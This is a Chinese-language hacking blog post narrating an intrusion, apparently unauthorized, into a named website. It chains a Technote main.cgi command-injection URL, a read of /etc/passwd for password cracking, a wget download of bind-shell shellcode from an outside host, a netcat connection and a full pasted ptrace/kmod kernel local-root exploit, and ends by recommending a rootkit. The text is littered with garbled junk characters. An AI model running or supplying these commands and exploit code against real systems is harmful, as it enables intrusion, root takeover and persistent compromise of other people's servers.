从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

" O4 @: s. T! t; t" q0 O

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

& R, ], r. H* o' I

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

* O* J2 y( ]% e; j9 w; l9 w

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

7 i8 D: F6 e8 n

个漏洞以WEB进程权限在系统上执行任意命令。

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

, b+ O9 S! n0 e- C- \

数内容，可能以WEB进程权限在系统上执行任意命令。

给出利用方法

4 G; P. j, X/ _8 B2 r0 u

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

' `% z! ~: {/ y9 U$ i5 w

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

K0 \% O; A$ F

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

^_^.

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

9 `2 u, ?# e7 I9 @6 R! O: U

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

结果如图1

' ?2 C4 E+ [: D# G. [

8 n2 X# n% a& x

大家看到结果了

* A3 ?4 N. X; E6 X! S5 Z

uid=99(nobody) gid=99(nobody) groups=99(nobody) 下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， 我程序的工作 界面。如图2

0 A6 x+ Y+ h. N+ `% P2 d! r' e

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

# ?: ~* o% e7 }5 R6 ~2 M. Q

不多，

. x$ J1 E- @+ m. b! \

如图3

% A2 c! Y: o c

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

# X% u5 n5 N7 a* H& f; c/ x

不错，能拿到/etc/passwd。

如图4

4 Z- t" p7 U$ i

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

6 K8 [/ I0 G" i# J7 J# Y

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

如图5

! w3 d) [- Q$ G. C1 q

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

. F7 z8 ]% P" }* n- x

This one works fine

http://rst.void.ru/download/r57phpbb2010.txt

* w& h( x4 k& I. U% A" g

upload, someth like this

" M9 y$ ?& X9 X0 O3 o4 }

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

" G9 m+ T( G) |, a: P7 ~# M Z

( A1 Y w5 L, B( P./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

5 g6 l. p9 ]" a3 N" H' aexec on victim hots same shit

2 V! L2 Q) \( t+ p" e" L# ]3 T

and binding shell

8 @- K8 `: l! R* A

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

* |5 H1 C! f9 ~3 [

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

/ j9 c" o8 [/ [' N9 [7 z

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

# \5 p- v! L: |" `9 _$ p3 ], N" t) D

This would be ideal for a system which you didn't have a direct login shell upon.

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 + X; w" a: L% q& O3 l0 Z* Y5 e * - by bighawk (bighawk@warfare.com) # k: T/ o. }8 f) {/ W' ^ \% ^+ r2 H * # B* R0 w7 O$ T) ] * This shellcode binds a shell on port 20000 9 @- _+ J; {5 ~4 ^ * * stdin, stdout and stderr are dupped. accept() arguments are sane. */

char code[] =

) W- M! |* Q) P% N- X

"\x31\xdb" // xor ebx, ebx # ^8 x# C6 Q5 C1 j8 w4 w "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx ' J- n* C3 _. P4 m) g! n4 C3 ~ "\x43" // inc ebx % Y {8 n5 N" n2 @5 v1 S, a; ^ "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx 2 s. j# @ D' ^' P "\x89\xe1" // mov ecx, esp " @3 a0 A. d' C; N: w. H "\x4b" // dec ebx . f6 z! n4 ~3 h; a "\xcd\x80" // int 80h 2 N" t; \; n3 e ?" Z4 B1 X1 j; { "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 4 o% n9 v9 R8 ~& I# i" c1 s, |1 u "\x43" // inc ebx ; ?8 ~! g! `/ L1 p/ ?( b/ I "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp / S, B2 F# L v" F6 l6 T! D% l! h "\xb0\xef" // mov al, 239 ' l: H4 {: B0 |5 } "\xf6\xd0" // not al ( }0 s, `8 I+ H9 X# D "\x50" // push eax 1 }- R( I& N/ s6 E! S6 \ "\x51" // push ecx 4 A. x. {: q/ k* G1 w( d" F8 N+ p "\x57" // push edi "\x89\xe1" // mov ecx, esp ! B& N( t$ P6 y7 | "\xb0\x66" // mov al, 102 1 y; v" N5 J: T6 P7 `& r' k "\xcd\x80" // int 80h & R% Z+ s9 T5 h' t$ Q; s1 ?, h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h # B/ b2 K9 p: P i# D1 O& U6 x "\x50" // push eax ) H4 t$ ^5 [% x# z8 f" U l4 J1 o% L5 ? "\x50" // push eax 5 m# ~" J! Y" v& L8 h "\x57" // push edi + e9 o' A, V2 d9 ?* ~: K "\x89\xe1" // mov ecx, esp " ^7 A9 O1 B5 P# k "\x43" // inc ebx J( C6 I- i) y' { "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx ' W+ z' S. }9 Y, X3 o "\x89\xc3" // mov ebx, eax - N0 k; ~8 h: T6 X; D9 ` "\xb0\x3f" // mov al, 63 3 L- i. Z L' P8 K: v& i9 H "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx t0 S! [! G+ C, y/ [0 U: h: C "\xe2\xf8" // loop lp 5 }, g8 ~6 i# {/ Z/ F- ` "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh $ a# a- E' J/ }% A7 u& @ "\x89\xe3" // mov ebx, esp 3 w. P" |! l9 @ "\x51" // push ecx # U# Y& r! y, c5 k "\x53" // push ebx 8 Z. ^$ ]- d9 d) i "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 + l+ k! q) ^: }" y "\xf6\xd0" // not al "\xcd\x80"; // int 80h

" \) k* ~# J& q, \

main() { void (*a)() = (void *)code; ( ^1 r x; Z; f* I9 a int i; * b; K1 i/ [0 l& _ printf("size: %d bytes\n", strlen(code)); printf("Testing for cntrl characters.. "); . L4 T2 _) m( z for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); , I( ?' d" I9 [ printf("PASSED\n"); 2 a1 o7 n! S8 ?. _( I, e' W a(); } + q- t' y& B1 {) {6 t 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， . v) d7 k& B5 s" E就可以用wget这个命令来下载了，输入 Q. d) I) B8 v7 [& z2 M1 ^wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 就是下载这个shell.c到/tmp目录下，如图6

1 z# o/ b' d, V- V% c然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs # g8 }* z4 S! f2 x2 q8 e* c这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 : X0 f! b5 N* p& h[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain + j: t' u h+ r M: l A12gcc: /usr/bin/gcc 好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind ' D) y% n! N0 }" ^) I编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， /tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 4 z( }6 M! |* Y& z' O& F哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" " R; N6 |/ g% O6 P% U呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 5 O7 z/ v/ W; x- o' W$ _& }4 f- T(nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * Linux kernel ptrace/kmod local root exploit ' {& Z! H' K2 `* * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned ! i) e4 D. b# Y/ }: I) B$ l* process, allowing to take control over privileged modprobe binary. * ) W" s+ x/ M- q* Should work under all current 2.2.x and 2.4.x kernels. 5 T3 N- K( y) L u: J1 @* A( A& O* * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat , |6 p5 k* w5 }: B* and others. * 1 m# M" ]3 M- N ^$ F* ]8 U& V* Wojciech Purczynski <cliph@isec.pl> 2 c. I; o! l# p8 s4 i, R% N8 ]* v* ' m3 }( S V. e8 l8 i* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by iSEC Security Research */

#include #include #include $ g8 u% K& y* ?, P8 h#include #include 7 d# f# k5 Q4 y- o#include 8 @( o# p. y% V( z. W! `#include #include #include #include ! M: m, u: \0 v k- J#include 9 \. U; d6 H9 o/ Z, b#include #include ; q6 B; o- `% Z' [) Q$ m#include #include #include

char cliphcode[] = % j) I, M- S2 J8 X. q"\x90\x90\xeb\x1f\xb8\xb6\x00\x00" * X `- |% O( X"\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; ( d: l0 P. j H) U5 Tpid_t child = 1; pid_t victim = 1; ( O: @8 [) O8 A1 m. xvolatile int gotchild = 0;

void fatal(char * msg) ( C: h3 P& R. p K# e{ perror(msg); # z1 |, X# J4 I7 Wkill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); }

void putcode(unsigned long * dst) # @3 R# Q( n& w v2 Q4 A8 l{ char buf[MAXPATHLEN + CODE_SIZE]; % l- Y; C3 W+ i. yunsigned long * src; ; K4 `2 W/ c4 E: j4 @8 \int i, len;

memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); 0 T4 z, Y! U1 a5 f5 L# U* H# ` ]if (len == -1) / c4 X, j' g: `6 W' v, Afatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; buf[len] = '\0';

src = (unsigned long*) buf; 6 S, j1 T( ? B9 tfor (i = 0; i < len; i += 4) ( B; D( T2 m ~0 m9 S0 e& d1 d( J2 Vif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) # v6 I' z' ~; g1 xfatal("[-] Unable to write shellcode"); $ U* C. o2 c0 g8 ^1 X+ `8 ]+ g}

void sigchld(int signo) { 0 h: X' d( h1 z" ~0 r) q1 e; wstruct user_regs_struct regs;

if (gotchild++ == 0) ) J8 w$ |' h" J. R& Jreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) 0 X7 [) M3 L" x" m) U; Tfatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) ) g4 ~$ G' |. O( w8 [% Lfatal("[-] Unable to detach from victim");

exit(0); }

void sigalrm(int signo) + t: C" p, R' c7 h{ : ~( M/ g' o ]# t+ d) ferrno = ECANCELED; 3 A; o9 M6 m$ T1 Q. H$ gfatal("[-] Fatal error"); }

void do_child(void) 4 {0 d" w+ Q( L4 m{ - x4 v1 z; l1 P1 c4 X; i1 }int err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do ) R5 W+ G3 P7 ?& g# yerr = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);

if (err == -1) fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); ! N7 w- k) J0 ], awhile (!gotchild) ; / V) n' q8 h; d f! ~ Tif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); 9 I2 [$ V$ e" |: b7 Vfprintf(stderr, "[+] Waiting for signal\n");

for(;;); }

void do_parent(char * progname) % |' W# @" F3 j8 o{ struct stat st; int err; errno = 0; : E( H; y, `2 C2 X6 N# W) `# J) jsocket(AF_SECURITY, SOCK_STREAM, 1); . c E# V, c3 S1 ?- ?2 a9 Y! ydo { # l# y4 H* f* t7 Merr = stat(progname, &st); / q0 [1 Z3 B4 v+ H$ i} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) : d( o9 ^& r3 `fatal("[-] Unable to stat myself");

alarm(0); system(progname); }

void prepare(void) / v: a8 \, j9 w{ if (geteuid() == 0) { 8 ^% ^: P" c) \initgroups("root", 0); setgid(0); setuid(0); 4 e0 }$ P) E6 t$ q" jexecl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); . b5 m4 V, U8 _+ D- w- F/ U} + X7 c- T( k/ g) E}

int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm); alarm(10);

parent = getpid(); child = fork(); victim = child + 1;

if (child == -1) 2 i7 g+ J0 Y, z' V- z: k, B- Nfatal("[-] Unable to fork");

if (child == 0) do_child(); else 6 i, g; {; t0 p. H4 @9 {, z8 m9 x' Cdo_parent(argv[0]);

return 0; }CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.